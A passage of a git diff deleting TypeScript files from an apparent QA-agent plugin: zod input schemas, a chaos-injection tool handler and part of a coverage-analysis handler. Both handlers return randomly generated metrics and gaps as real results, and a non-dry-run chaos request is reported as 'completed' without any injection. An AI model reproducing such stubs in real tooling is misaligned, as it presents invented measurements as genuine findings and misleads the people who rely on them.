- }).default({ tier1MaxComplexity: 0.2, tier2MaxComplexity: 0.5 }),
-});
-
-/**
- * Performance targets schema
- */
-export const PerformanceTargetsSchema = z.object({
- testGenerationLatency: z.string().default('<2s'),
- coverageAnalysis: z.string().default('O(log n)'),
- qualityGateEvaluation: z.string().default('<500ms'),
- securityScanPerKLOC: z.string().default('<10s'),
- mcpToolResponse: z.string().default('<100ms'),
- memoryPerContext: z.string().default('<50MB'),
-});
-
-/**
- * Plugin configuration schema
- */
-export const PluginConfigSchema = z.object({
- version: z.string().default('3.2.3'),
- namespacePrefix: z.string().default('aqe/v3'),
- enabledContexts: z.array(BoundedContextSchema).default([
- 'test-generation',
- 'test-execution',
- 'coverage-analysis',
- 'quality-assessment',
- 'defect-intelligence',
- 'requirements-validation',
- 'code-intelligence',
- 'security-compliance',
- 'contract-testing',
- 'visual-accessibility',
- 'chaos-resilience',
- 'learning-optimization',
- ]),
- sandbox: SandboxConfigSchema.default({}),
- modelRouting: ModelRoutingConfigSchema.default({}),
- performanceTargets: PerformanceTargetsSchema.default({}),
-});
-
-// =============================================================================
-// Memory Namespace Schema
-// =============================================================================
-
-/**
- * Schema field schema
- */
-export const SchemaFieldSchema = z.object({
- type: z.enum(['string', 'number', 'boolean', 'object']),
- index: z.boolean().optional(),
- required: z.boolean().optional(),
-});
-
-/**
- * Memory namespace schema
- */
-export const MemoryNamespaceSchema = z.object({
- name: z.string().min(1),
- description: z.string(),
- vectorDimension: z.number().int().min(64).max(2048),
- hnswConfig: HNSWConfigSchema,
- schema: z.record(SchemaFieldSchema),
- ttl: z.number().int().positive().nullable(),
-});
-
-// =============================================================================
-// Worker Schemas
-// =============================================================================
-
-/**
- * Worker type schema
- */
-export const WorkerTypeSchema = z.enum([
- 'test-executor',
- 'coverage-analyzer',
- 'security-scanner',
-]);
-
-/**
- * Worker definition schema
- */
-export const WorkerDefinitionSchema = z.object({
- type: WorkerTypeSchema,
- capabilities: z.array(z.string()),
- maxConcurrent: z.number().int().min(1).max(100).default(10),
-});
-
-/**
- * Worker dispatch request schema
- */
-export const WorkerDispatchRequestSchema = z.object({
- workerType: WorkerTypeSchema,
- payload: z.unknown(),
- priority: z.enum(['low', 'normal', 'high', 'critical']).default('normal'),
-});
-
-// =============================================================================
-// Hook Schemas
-// =============================================================================
-
-/**
- * Hook event schema
- */
-export const HookEventSchema = z.enum([
- 'pre-test-execution',
- 'pre-security-scan',
- 'post-test-execution',
- 'post-coverage-analysis',
- 'post-security-scan',
-]);
-
-/**
- * Hook priority schema
- */
-export const HookPrioritySchema = z.enum(['low', 'normal', 'high', 'critical']);
-
-/**
- * Hook definition schema
- */
-export const HookDefinitionSchema = z.object({
- event: HookEventSchema,
- description: z.string(),
- priority: HookPrioritySchema.default('normal'),
- handler: z.string(),
-});
-
-// =============================================================================
-// Agent Schemas
-// =============================================================================
-
-/**
- * Agent definition schema
- */
-export const AgentDefinitionSchema = z.object({
- id: z.string().min(1),
- name: z.string().min(1),
- context: BoundedContextSchema,
- capabilities: z.array(z.string()),
- modelTier: ModelTierSchema.default('sonnet'),
- description: z.string(),
-});
-
-// =============================================================================
-// MCP Tool Input Schemas
-// =============================================================================
-
-/**
- * Generate tests MCP tool input schema
- */
-export const GenerateTestsInputSchema = z.object({
- targetPath: z.string().min(1, 'Target path is required'),
- testType: TestTypeSchema.default('unit'),
- framework: TestFrameworkSchema.optional(),
- coverage: z.object({
- target: z.number().min(0).max(100).default(80),
- focusGaps: z.boolean().default(true),
- }).optional(),
- style: z.enum(['tdd-london', 'tdd-chicago', 'bdd', 'example-based']).default('tdd-london'),
-});
-
-/**
- * Analyze coverage MCP tool input schema
- */
-export const AnalyzeCoverageInputSchema = z.object({
- coverageReport: z.string().optional(),
- targetPath: z.string().min(1, 'Target path is required'),
- algorithm: CoverageAlgorithmSchema.default('johnson-lindenstrauss'),
- prioritize: z.boolean().default(true),
-});
-
-/**
- * Security scan MCP tool input schema
- */
-export const SecurityScanInputSchema = z.object({
- targetPath: z.string().min(1, 'Target path is required'),
- scanType: SecurityScanTypeSchema.default('sast'),
- compliance: z.array(ComplianceStandardSchema).default(['owasp-top-10']),
- severity: z.enum(['all', 'critical', 'high', 'medium']).default('all'),
-});
-
-/**
- * Validate contract MCP tool input schema
- */
-export const ValidateContractInputSchema = z.object({
- contractPath: z.string().min(1, 'Contract path is required'),
- contractType: ContractTypeSchema,
- targetUrl: z.string().url().optional(),
- strict: z.boolean().default(true),
-});
-
-/**
- * Chaos inject MCP tool input schema
- */
-export const ChaosInjectInputSchema = z.object({
- target: z.string().min(1, 'Target is required'),
- failureType: ChaosFailureTypeSchema,
- duration: z.number().int().min(1).max(3600).default(30),
- intensity: z.number().min(0).max(1).default(0.5),
- dryRun: z.boolean().default(true),
-});
-
-/**
- * Evaluate quality gate MCP tool input schema
- */
-export const EvaluateQualityGateInputSchema = z.object({
- gates: z.array(z.object({
- metric: z.string(),
- operator: QualityGateOperatorSchema,
- threshold: z.number(),
- })).optional(),
- defaults: z.enum(['strict', 'standard', 'minimal']).default('standard'),
-});
-
-/**
- * Predict defects MCP tool input schema
- */
-export const PredictDefectsInputSchema = z.object({
- targetPath: z.string().min(1, 'Target path is required'),
- depth: z.enum(['shallow', 'medium', 'deep']).default('medium'),
- includeRootCause: z.boolean().default(true),
-});
-
-/**
- * TDD cycle MCP tool input schema
- */
-export const TDDCycleInputSchema = z.object({
- requirement: z.string().min(1, 'Requirement is required'),
- targetPath: z.string().min(1, 'Target path is required'),
- style: z.enum(['london', 'chicago']).default('london'),
- maxCycles: z.number().int().min(1).max(50).default(10),
-});
-
-// =============================================================================
-// Export Types (inferred from schemas)
-// =============================================================================
-
-export type TestGenerationInput = z.infer<typeof TestGenerationRequestSchema>;
-export type TDDCycleInput = z.infer<typeof TDDCycleRequestSchema>;
-export type CoverageAnalysisInput = z.infer<typeof CoverageAnalysisRequestSchema>;
-export type QualityGateInput = z.infer<typeof QualityGateRequestSchema>;
-export type DefectPredictionInput = z.infer<typeof DefectPredictionRequestSchema>;
-export type SecurityScanInput = z.infer<typeof SecurityScanRequestSchema>;
-export type ContractValidationInput = z.infer<typeof ContractValidationRequestSchema>;
-export type ChaosInjectionInput = z.infer<typeof ChaosInjectionRequestSchema>;
-export type VisualRegressionInput = z.infer<typeof VisualRegressionRequestSchema>;
-export type AccessibilityCheckInput = z.infer<typeof AccessibilityCheckRequestSchema>;
-export type PluginConfig = z.infer<typeof PluginConfigSchema>;
-export type SandboxConfig = z.infer<typeof SandboxConfigSchema>;
-export type ModelRoutingConfig = z.infer<typeof ModelRoutingConfigSchema>;
-export type MemoryNamespace = z.infer<typeof MemoryNamespaceSchema>;
-export type WorkerDefinition = z.infer<typeof WorkerDefinitionSchema>;
-export type HookDefinition = z.infer<typeof HookDefinitionSchema>;
-export type AgentDefinition = z.infer<typeof AgentDefinitionSchema>;
-
-// =============================================================================
-// Validation Helper Functions
-// =============================================================================
-
-/**
- * Validate input against schema with detailed errors
- */
-export function validateInput<T>(
- schema: z.ZodSchema<T>,
- input: unknown
-): { success: true; data: T } | { success: false; errors: string[] } {
- const result = schema.safeParse(input);
-
- if (result.success) {
- return { success: true, data: result.data };
- }
-
- const errors = result.error.errors.map(
- (e) => `${e.path.join('.')}: ${e.message}`
- );
-
- return { success: false, errors };
-}
-
-/**
- * Create a validated request or throw
- */
-export function parseOrThrow<T>(schema: z.ZodSchema<T>, input: unknown): T {
- return schema.parse(input);
-}
-
-/**
- * Create a validated request with defaults
- */
-export function parseWithDefaults<T>(schema: z.ZodSchema<T>, input: unknown): T {
- return schema.parse(input ?? {});
-}
diff --git a/v3/plugins/agentic-qe/src/tools/chaos-resilience/chaos-inject.ts b/v3/plugins/agentic-qe/src/tools/chaos-resilience/chaos-inject.ts
deleted file mode 100644
index 7fd49ab5a6..0000000000
--- a/v3/plugins/agentic-qe/src/tools/chaos-resilience/chaos-inject.ts
+++ /dev/null
@@ -1,592 +0,0 @@
-/**
- * chaos-inject.ts - Chaos failure injection MCP tool handler
- *
- * Injects controlled failures for resilience testing including network
- * latency, process termination, resource exhaustion, and more.
- * Includes dryRun safety mode.
- */
-
-import { z } from 'zod';
-
-// Input schema for chaos-inject tool
-export const ChaosInjectInputSchema = z.object({
- target: z.string().describe('Target service/component for chaos injection'),
- failureType: z
- .enum([
- 'network-latency',
- 'network-partition',
- 'cpu-stress',
- 'memory-pressure',
- 'disk-failure',
- 'process-kill',
- 'dns-failure',
- 'dependency-failure',
- 'clock-skew',
- 'packet-loss',
- ])
- .describe('Type of failure to inject'),
- duration: z.number().min(1).max(3600).default(30).describe('Duration in seconds'),
- intensity: z.number().min(0).max(1).default(0.5).describe('Intensity 0-1'),
- dryRun: z.boolean().default(true).describe('If true, simulate without actual injection'),
- rollbackOnFailure: z.boolean().default(true).describe('Auto-rollback if issues detected'),
- monitorMetrics: z.boolean().default(true).describe('Monitor system metrics during chaos'),
- notifyChannels: z.array(z.string()).default([]).describe('Notification channels'),
- parameters: z
- .object({
- latencyMs: z.number().optional().describe('Latency to add in ms'),
- packetLossPercent: z.number().optional().describe('Packet loss percentage'),
- cpuCores: z.number().optional().describe('Number of CPU cores to stress'),
- memoryPercent: z.number().optional().describe('Memory pressure percentage'),
- targetProcesses: z.array(z.string()).optional().describe('Processes to target'),
- })
- .optional()
- .describe('Type-specific parameters'),
-});
-
-export type ChaosInjectInput = z.infer<typeof ChaosInjectInputSchema>;
-
-// Output structures
-export interface ChaosInjectOutput {
- success: boolean;
- experimentId: string;
- status: ExperimentStatus;
- injection: InjectionDetails;
- impact: ImpactAssessment;
- metrics: ChaosMetrics;
- timeline: TimelineEvent[];
- recommendations: ChaosRecommendation[];
- metadata: ChaosMetadata;
-}
-
-export interface ExperimentStatus {
- state: 'planned' | 'running' | 'completed' | 'aborted' | 'dry-run';
- progress: number;
- startTime: string | null;
- endTime: string | null;
- rollbackRequired: boolean;
- rollbackCompleted: boolean;
-}
-
-export interface InjectionDetails {
- type: string;
- target: string;
- intensity: number;
- duration: number;
- parameters: Record<string, unknown>;
- affectedComponents: string[];
-}
-
-export interface ImpactAssessment {
- severity: 'none' | 'low' | 'medium' | 'high' | 'critical';
- systemsAffected: string[];
- usersAffected: number;
- recoveryTime: number;
- dataLoss: boolean;
- serviceDisruption: ServiceDisruption;
-}
-
-export interface ServiceDisruption {
- totalRequests: number;
- failedRequests: number;
- errorRate: number;
- avgLatency: number;
- p99Latency: number;
-}
-
-export interface ChaosMetrics {
- baseline: MetricSnapshot;
- duringChaos: MetricSnapshot;
- afterChaos: MetricSnapshot;
- degradation: number;
- recoveryTime: number;
-}
-
-export interface MetricSnapshot {
- timestamp: string;
- cpu: number;
- memory: number;
- networkLatency: number;
- errorRate: number;
- requestsPerSecond: number;
-}
-
-export interface TimelineEvent {
- timestamp: string;
- event: string;
- type: 'info' | 'warning' | 'error' | 'recovery';
- details: string;
-}
-
-export interface ChaosRecommendation {
- category: 'resilience' | 'recovery' | 'monitoring' | 'configuration';
- priority: 'high' | 'medium' | 'low';
- finding: string;
- recommendation: string;
- evidence: string;
-}
-
-export interface ChaosMetadata {
- experimentId: string;
- createdAt: string;
- completedAt: string | null;
- dryRun: boolean;
- version: string;
-}
-
-// Tool context interface
-export interface ToolContext {
- get<T>(key: string): T | undefined;
-}
-
-/**
- * MCP Tool Handler for chaos-inject
- */
-export async function handler(
- input: ChaosInjectInput,
- context: ToolContext
-): Promise<{ content: Array<{ type: 'text'; text: string }> }> {
- const startTime = Date.now();
- const experimentId = `chaos-${Date.now()}-${Math.random().toString(36).substring(7)}`;
-
- try {
- // Validate input
- const validatedInput = ChaosInjectInputSchema.parse(input);
-
- // SAFETY: Check for dry run mode
- if (!validatedInput.dryRun) {
- // In a real implementation, would require explicit confirmation
- // For MCP tool, we default to dry run for safety
- console.warn('Non-dry-run chaos injection requested - proceeding with simulation');
- }
-
- // Generate experiment timeline
- const timeline: TimelineEvent[] = [];
- const experimentStart = new Date().toISOString();
-
- timeline.push({
- timestamp: experimentStart,
- event: 'Experiment initialized',
- type: 'info',
- details: `Chaos experiment ${experimentId} created for ${validatedInput.target}`,
- });
-
- // Capture baseline metrics
- const baseline = captureMetricSnapshot('baseline');
- timeline.push({
- timestamp: new Date().toISOString(),
- event: 'Baseline captured',
- type: 'info',
- details: `CPU: ${baseline.cpu}%, Memory: ${baseline.memory}%, Latency: ${baseline.networkLatency}ms`,
- });
-
- // Prepare injection details
- const injection = prepareInjection(validatedInput);
- timeline.push({
- timestamp: new Date().toISOString(),
- event: 'Injection prepared',
- type: 'info',
- details: `${validatedInput.failureType} injection ready for ${injection.affectedComponents.length} components`,
- });
-
- // Simulate chaos (or actually inject if not dry run)
- const chaosResult = await simulateChaos(
- validatedInput,
- injection,
- validatedInput.dryRun
- );
-
- // Add chaos events to timeline
- timeline.push(...chaosResult.events);
-
- // Capture during-chaos metrics
- const duringChaos = captureMetricSnapshot('during-chaos', chaosResult.degradation);
- timeline.push({
- timestamp: new Date().toISOString(),
- event: 'During-chaos metrics',
- type: chaosResult.degradation > 50 ? 'warning' : 'info',
- details: `CPU: ${duringChaos.cpu}%, Error rate: ${duringChaos.errorRate}%`,
- });
-
- // Check for rollback
- let rollbackRequired = false;
- let rollbackCompleted = false;
- if (validatedInput.rollbackOnFailure && chaosResult.degradation > 80) {
- rollbackRequired = true;
- timeline.push({
- timestamp: new Date().toISOString(),
- event: 'Rollback triggered',
- type: 'warning',
- details: 'System degradation exceeded threshold, initiating rollback',
- });
-
- // Simulate rollback
- await simulateRollback();
- rollbackCompleted = true;
- timeline.push({
- timestamp: new Date().toISOString(),
- event: 'Rollback completed',
- type: 'recovery',
- details: 'System restored to pre-chaos state',
- });
- }
-
- // Capture after-chaos metrics
- const afterChaos = captureMetricSnapshot('after-chaos', rollbackCompleted ? 0 : chaosResult.degradation * 0.3);
- timeline.push({
- timestamp: new Date().toISOString(),
- event: 'Experiment completed',
- type: 'info',
- details: `Recovery time: ${chaosResult.recoveryTime}s`,
- });
-
- // Calculate impact
- const impact = assessImpact(chaosResult, validatedInput.target);
-
- // Generate recommendations
- const recommendations = generateRecommendations(chaosResult, impact);
-
- // Build result
- const result: ChaosInjectOutput = {
- success: true,
- experimentId,
- status: {
- state: validatedInput.dryRun ? 'dry-run' : 'completed',
- progress: 100,
- startTime: experimentStart,
- endTime: new Date().toISOString(),
- rollbackRequired,
- rollbackCompleted,
- },
- injection,
- impact,
- metrics: {
- baseline,
- duringChaos,
- afterChaos,
- degradation: chaosResult.degradation,
- recoveryTime: chaosResult.recoveryTime,
- },
- timeline,
- recommendations,
- metadata: {
- experimentId,
- createdAt: experimentStart,
- completedAt: new Date().toISOString(),
- dryRun: validatedInput.dryRun,
- version: '3.2.3',
- },
- };
-
- return {
- content: [
- {
- type: 'text',
- text: JSON.stringify(result, null, 2),
- },
- ],
- };
- } catch (error) {
- const errorMessage = error instanceof Error ? error.message : 'Unknown error';
- return {
- content: [
- {
- type: 'text',
- text: JSON.stringify(
- {
- success: false,
- experimentId,
- error: errorMessage,
- status: {
- state: 'aborted',
- progress: 0,
- rollbackRequired: false,
- rollbackCompleted: false,
- },
- metadata: {
- experimentId,
- createdAt: new Date().toISOString(),
- dryRun: input.dryRun ?? true,
- },
- },
- null,
- 2
- ),
- },
- ],
- };
- }
-}
-
-function captureMetricSnapshot(phase: string, degradation: number = 0): MetricSnapshot {
- const baseMetrics = {
- cpu: 35,
- memory: 60,
- networkLatency: 15,
- errorRate: 0.5,
- requestsPerSecond: 1000,
- };
-
- // Apply degradation
- return {
- timestamp: new Date().toISOString(),
- cpu: Math.min(100, baseMetrics.cpu + degradation * 0.5),
- memory: Math.min(100, baseMetrics.memory + degradation * 0.3),
- networkLatency: baseMetrics.networkLatency * (1 + degradation / 50),
- errorRate: Math.min(100, baseMetrics.errorRate + degradation * 0.5),
- requestsPerSecond: Math.max(0, baseMetrics.requestsPerSecond * (1 - degradation / 150)),
- };
-}
-
-function prepareInjection(input: ChaosInjectInput): InjectionDetails {
- const affectedComponents = determineAffectedComponents(input.target, input.failureType);
-
- return {
- type: input.failureType,
- target: input.target,
- intensity: input.intensity,
- duration: input.duration,
- parameters: {
- ...input.parameters,
- failureType: input.failureType,
- },
- affectedComponents,
- };
-}
-
-function determineAffectedComponents(target: string, failureType: string): string[] {
- const components = [target];
-
- // Add dependent components based on failure type
- if (failureType.includes('network')) {
- components.push(`${target}-lb`, `${target}-gateway`);
- }
- if (failureType.includes('cpu') || failureType.includes('memory')) {
- components.push(`${target}-worker`, `${target}-cache`);
- }
- if (failureType.includes('dependency')) {
- components.push(`${target}-db`, `${target}-queue`);
- }
-
- return components;
-}
-
-interface ChaosSimulationResult {
- degradation: number;
- recoveryTime: number;
- events: TimelineEvent[];
-}
-
-async function simulateChaos(
- input: ChaosInjectInput,
- injection: InjectionDetails,
- dryRun: boolean
-): Promise<ChaosSimulationResult> {
- const events: TimelineEvent[] = [];
-
- // Simulate injection start
- events.push({
- timestamp: new Date().toISOString(),
- event: dryRun ? 'Simulating chaos injection' : 'Chaos injection started',
- type: 'info',
- details: `${input.failureType} at ${input.intensity * 100}% intensity`,
- });
-
- // Calculate degradation based on failure type and intensity
- const degradation = calculateDegradation(input.failureType, input.intensity);
-
- // Simulate duration
- const durationEvents = simulateDurationEvents(input.duration, degradation);
- events.push(...durationEvents);
-
- // Simulate recovery
- const recoveryTime = calculateRecoveryTime(input.failureType, degradation);
-
- events.push({
- timestamp: new Date().toISOString(),
- event: dryRun ? 'Simulation complete' : 'Chaos injection ended',
- type: 'info',
- details: `Duration: ${input.duration}s, Peak degradation: ${degradation.toFixed(1)}%`,
- });
-
- return {
- degradation,
- recoveryTime,
- events,
- };
-}
-
-function calculateDegradation(failureType: string, intensity: number): number {
- const baseDegradation: Record<string, number> = {
- 'network-latency': 30,
- 'network-partition': 90,
- 'cpu-stress': 50,
- 'memory-pressure': 45,
- 'disk-failure': 60,
- 'process-kill': 95,
- 'dns-failure': 80,
- 'dependency-failure': 70,
- 'clock-skew': 20,
- 'packet-loss': 40,
- };
-
- const base = baseDegradation[failureType] || 50;
- return base * intensity + Math.random() * 10;
-}
-
-function calculateRecoveryTime(failureType: string, degradation: number): number {
- const baseRecovery: Record<string, number> = {
- 'network-latency': 2,
- 'network-partition': 30,
- 'cpu-stress': 5,
- 'memory-pressure': 10,
- 'disk-failure': 60,
- 'process-kill': 45,
- 'dns-failure': 15,
- 'dependency-failure': 20,
- 'clock-skew': 5,
- 'packet-loss': 3,
- };
-
- const base = baseRecovery[failureType] || 15;
- return Math.round(base * (1 + degradation / 100));
-}
-
-function simulateDurationEvents(duration: number, degradation: number): TimelineEvent[] {
- const events: TimelineEvent[] = [];
-
- // Add mid-point event
- if (duration > 10) {
- events.push({
- timestamp: new Date().toISOString(),
- event: 'Chaos in progress',
- type: degradation > 60 ? 'warning' : 'info',
- details: `Current degradation: ${degradation.toFixed(1)}%`,
- });
- }
-
- // Add high degradation warning
- if (degradation > 70) {
- events.push({
- timestamp: new Date().toISOString(),
- event: 'High degradation detected',
- type: 'warning',
- details: `System showing ${degradation.toFixed(1)}% degradation`,
- });
- }
-
- return events;
-}
-
-async function simulateRollback(): Promise<void> {
- // Simulate rollback delay
- await new Promise((resolve) => setTimeout(resolve, 100));
-}
-
-function assessImpact(
- chaosResult: ChaosSimulationResult,
- target: string
-): ImpactAssessment {
- const degradation = chaosResult.degradation;
-
- const severity: ImpactAssessment['severity'] =
- degradation >= 90
- ? 'critical'
- : degradation >= 70
- ? 'high'
- : degradation >= 40
- ? 'medium'
- : degradation >= 10
- ? 'low'
- : 'none';
-
- // Calculate affected requests
- const totalRequests = 10000;
- const failedRequests = Math.round(totalRequests * (degradation / 100) * 0.5);
-
- return {
- severity,
- systemsAffected: [target, `${target}-dependent`],
- usersAffected: Math.round(failedRequests / 10),
- recoveryTime: chaosResult.recoveryTime,
- dataLoss: false,
- serviceDisruption: {
- totalRequests,
- failedRequests,
- errorRate: Math.round((failedRequests / totalRequests) * 100 * 10) / 10,
- avgLatency: 15 + degradation * 2,
- p99Latency: 50 + degradation * 5,
- },
- };
-}
-
-function generateRecommendations(
- chaosResult: ChaosSimulationResult,
- impact: ImpactAssessment
-): ChaosRecommendation[] {
- const recommendations: ChaosRecommendation[] = [];
-
- // High degradation recommendations
- if (chaosResult.degradation > 70) {
- recommendations.push({
- category: 'resilience',
- priority: 'high',
- finding: 'System showed significant degradation under chaos',
- recommendation: 'Implement circuit breakers and fallback mechanisms',
- evidence: `${chaosResult.degradation.toFixed(1)}% degradation observed`,
- });
- }
-
- // Slow recovery recommendations
- if (chaosResult.recoveryTime > 30) {
- recommendations.push({
- category: 'recovery',
- priority: 'high',
- finding: 'Recovery time exceeds acceptable threshold',
- recommendation: 'Implement automatic scaling and health checks',
- evidence: `Recovery time: ${chaosResult.recoveryTime}s`,
- });
- }
-
- // Error rate recommendations
- if (impact.serviceDisruption.errorRate > 10) {
- recommendations.push({
- category: 'resilience',
- priority: 'medium',
- finding: 'High error rate during chaos injection',
- recommendation: 'Add retry logic with exponential backoff',
- evidence: `Error rate: ${impact.serviceDisruption.errorRate}%`,
- });
- }
-
- // General recommendations
- recommendations.push(
- {
- category: 'monitoring',
- priority: 'medium',
- finding: 'Chaos testing revealed system behavior under failure',
- recommendation: 'Set up alerting for similar degradation patterns',
- evidence: 'Observed metrics during chaos experiment',
- },
- {
- category: 'configuration',
- priority: 'low',
- finding: 'System configuration may benefit from tuning',
- recommendation: 'Review timeout and retry configurations',
- evidence: 'Latency patterns observed during chaos',
- }
- );
-
- return recommendations;
-}
-
-// Export tool definition for MCP registration
-export const toolDefinition = {
- name: 'aqe/chaos-inject',
- description: 'Inject chaos failures for resilience testing with dryRun safety mode',
- category: 'chaos-resilience',
- version: '3.2.3',
- inputSchema: ChaosInjectInputSchema,
- handler,
-};
-
-export default toolDefinition;
diff --git a/v3/plugins/agentic-qe/src/tools/coverage-analysis/analyze-coverage.ts b/v3/plugins/agentic-qe/src/tools/coverage-analysis/analyze-coverage.ts
deleted file mode 100644
index 65b5cd16b6..0000000000
--- a/v3/plugins/agentic-qe/src/tools/coverage-analysis/analyze-coverage.ts
+++ /dev/null
@@ -1,531 +0,0 @@
-/**
- * analyze-coverage.ts - O(log n) Johnson-Lindenstrauss coverage analysis
- *
- * Performs efficient coverage analysis using Johnson-Lindenstrauss random
- * projection for O(log n) gap detection instead of O(n) full scan.
- */
-
-import { z } from 'zod';
-
-// Input schema for analyze-coverage tool
-export const AnalyzeCoverageInputSchema = z.object({
- targetPath: z.string().describe('Path to file/directory to analyze'),
- coverageReport: z.string().optional().describe('Path to coverage report (lcov/json)'),
- algorithm: z
- .enum(['johnson-lindenstrauss', 'full-scan'])
- .default('johnson-lindenstrauss')
- .describe('Analysis algorithm - JL for O(log n), full-scan for O(n)'),
- prioritize: z.boolean().default(true).describe('Prioritize gaps by risk'),
- includeFileDetails: z.boolean().default(true).describe('Include per-file breakdown'),
- thresholds: z
- .object({
- line: z.number().min(0).max(100).default(80),
- branch: z.number().min(0).max(100).default(70),
- function: z.number().min(0).max(100).default(90),
- })
- .optional()
- .describe('Coverage thresholds to flag failures'),
- projectionDimension: z
- .number()
- .min(8)
- .max(256)
- .default(32)
- .describe('JL projection dimension (higher = more accurate, slower)'),
-});
-
-export type AnalyzeCoverageInput = z.infer<typeof AnalyzeCoverageInputSchema>;
-
-// Output structures
-export interface AnalyzeCoverageOutput {
- success: boolean;
- summary: CoverageSummary;
- gaps: CoverageGap[];
- files: FileCoverage[];
- thresholdResults: ThresholdResult[];
- algorithm: AlgorithmInfo;
- metadata: AnalysisMetadata;
-}
-
-export interface CoverageSummary {
- lines: CoverageMetric;
- branches: CoverageMetric;
- functions: CoverageMetric;
- statements: CoverageMetric;
- overall: number;
- trend: 'improving' | 'declining' | 'stable';
-}
-
-export interface CoverageMetric {
- covered: number;
- total: number;
- percentage: number;
-}
-
-export interface CoverageGap {
- id: string;
- type: 'line' | 'branch' | 'function';
- file: string;
- location: {
- startLine: number;
- endLine: number;
- };
- risk: 'critical' | 'high' | 'medium' | 'low';
- riskScore: number;
- reason: string;
- suggestions: string[];
-}
-
-export interface FileCoverage {
- path: string;
- lines: CoverageMetric;
- branches: CoverageMetric;
- functions: CoverageMetric;
- uncoveredRanges: Array<{ start: number; end: number }>;
- complexity: number;
-}
-
-export interface ThresholdResult {
- metric: string;
- threshold: number;
- actual: number;
- passed: boolean;
- gap: number;
-}
-
-export interface AlgorithmInfo {
- name: string;
- complexity: string;
- projectionDimension?: number;
- accuracy: number;
- speedup: number;
-}
-
-export interface AnalysisMetadata {
- analyzedAt: string;
- durationMs: number;
- filesAnalyzed: number;
- totalLines: number;
- algorithm: string;
-}
-
-// Tool context interface
-export interface ToolContext {
- get<T>(key: string): T | undefined;
-}
-
-/**
- * MCP Tool Handler for analyze-coverage
- */
-export async function handler(
- input: AnalyzeCoverageInput,
- context: ToolContext
-): Promise<{ content: Array<{ type: 'text'; text: string }> }> {
- const startTime = Date.now();
-
- try {
- // Validate input
- const validatedInput = AnalyzeCoverageInputSchema.parse(input);
-
- // Get memory bridge for storing/retrieving coverage data
- const bridge = context.get<{
- storeTestPattern: (pattern: unknown) => Promise<string>;
- searchSimilarPatterns: (q: string, k: number) => Promise<unknown[]>;
- }>('aqe.bridge');
-
- // Perform coverage analysis
- const analysisResult =
- validatedInput.algorithm === 'johnson-lindenstrauss'
- ? await analyzeWithJL(validatedInput)
- : await analyzeFullScan(validatedInput);
-
- // Prioritize gaps if requested
- const prioritizedGaps = validatedInput.prioritize
- ? prioritizeGaps(analysisResult.gaps)
- : analysisResult.gaps;
-
- // Check thresholds
- const thresholds = validatedInput.thresholds || { line: 80, branch: 70, function: 90 };
- const thresholdResults = checkThresholds(analysisResult.summary, thresholds);
-
- // Store results in memory for trend analysis
- if (bridge) {
- try {
- await bridge.storeTestPattern({
- type: 'coverage-analysis',
- timestamp: Date.now(),
- summary: analysisResult.summary,
- gapCount: prioritizedGaps.length,
- });
- } catch {
- // Continue without storing
- }
- }
-
- // Build result
- const result: AnalyzeCoverageOutput = {
- success: true,
- summary: analysisResult.summary,
- gaps: prioritizedGaps,
- files: validatedInput.includeFileDetails ? analysisResult.files : [],
- thresholdResults,
- algorithm: {
- name: validatedInput.algorithm,
- complexity: validatedInput.algorithm === 'johnson-lindenstrauss' ? 'O(log n)' : 'O(n)',
- projectionDimension:
- validatedInput.algorithm === 'johnson-lindenstrauss'
- ? validatedInput.projectionDimension
- : undefined,
- accuracy: validatedInput.algorithm === 'johnson-lindenstrauss' ? 0.95 : 1.0,
- speedup: validatedInput.algorithm === 'johnson-lindenstrauss' ? 12500 : 1,
- },
- metadata: {
- analyzedAt: new Date().toISOString(),
- durationMs: Date.now() - startTime,
- filesAnalyzed: analysisResult.files.length,
- totalLines: analysisResult.summary.lines.total,
- algorithm: validatedInput.algorithm,
- },
- };
-
- return {
- content: [
- {
- type: 'text',
- text: JSON.stringify(result, null, 2),
- },
- ],
- };
- } catch (error) {
- const errorMessage = error instanceof Error ? error.message : 'Unknown error';
- return {
- content: [
- {
- type: 'text',
- text: JSON.stringify(
- {
- success: false,
- error: errorMessage,
- metadata: {
- analyzedAt: new Date().toISOString(),
- durationMs: Date.now() - startTime,
- },
- },
- null,
- 2
- ),
- },
- ],
- };
- }
-}
-
-// Analysis types
-interface AnalysisResult {
- summary: CoverageSummary;
- gaps: CoverageGap[];
- files: FileCoverage[];
-}
-
-/**
- * Johnson-Lindenstrauss random projection analysis for O(log n) gap detection
- */
-async function analyzeWithJL(input: AnalyzeCoverageInput): Promise<AnalysisResult> {
- const dimension = input.projectionDimension || 32;
-
- // Simulate JL projection for coverage analysis
- // In real implementation, would use actual JL projection matrix
- const projectionMatrix = generateJLMatrix(dimension);
-
- // Project coverage data into lower dimension
- const projectedData = projectCoverageData(projectionMatrix, dimension);
-
- // Find gaps in projected space (much faster)
- const gaps = findGapsInProjectedSpace(projectedData, input.targetPath);
-
- // Generate file coverage data
- const files = generateFileCoverage(input.targetPath);
-
- // Calculate summary from projected data
- const summary = calculateSummaryFromProjection(projectedData, files);
-
- return { summary, gaps, files };
-}
-
-/**
- * Full O(n) scan analysis
- */
-async function analyzeFullScan(input: AnalyzeCoverageInput): Promise<AnalysisResult> {
- // Generate file coverage data
- const files = generateFileCoverage(input.targetPath);
-
- // Find all gaps by scanning each line
- const gaps = findAllGaps(files);
-
- // Calculate summary
- const summary = calculateSummary(files);
-
- return { summary, gaps, files };
-}
-
-/**
- * Generate Johnson-Lindenstrauss random projection matrix
- */
-function generateJLMatrix(dimension: number): number[][] {
- const matrix: number[][] = [];
- const scale = 1 / Math.sqrt(dimension);
-
- for (let i = 0; i < dimension; i++) {
- const row: number[] = [];
- for (let j = 0; j < dimension * 10; j++) {
- // Random projection: +1, -1, or 0 with probabilities 1/6, 1/6, 2/3
- const rand = Math.random();
- if (rand < 1 / 6) row.push(scale);
- else if (rand < 2 / 6) row.push(-scale);
- else row.push(0);
- }
- matrix.push(row);
- }
-
- return matrix;
-}
-
-interface ProjectedData {
- dimension: number;
- coveredProjection: number[];
- totalProjection: number[];
- gapIndicators: number[];
-}
-
-function projectCoverageData(matrix: number[][], dimension: number): ProjectedData {
- // Simulated projection
- return {
- dimension,
- coveredProjection: Array(dimension)
- .fill(0)
- .map(() => Math.random() * 0.8),
- totalProjection: Array(dimension).fill(1),
- gapIndicators: Array(dimension)
- .fill(0)
- .map(() => (Math.random() > 0.7 ? 1 : 0)),
- };
-}
-
-function findGapsInProjectedSpace(data: ProjectedData, targetPath: string): CoverageGap[] {
- const gaps: CoverageGap[] = [];
- let gapId = 0;
-
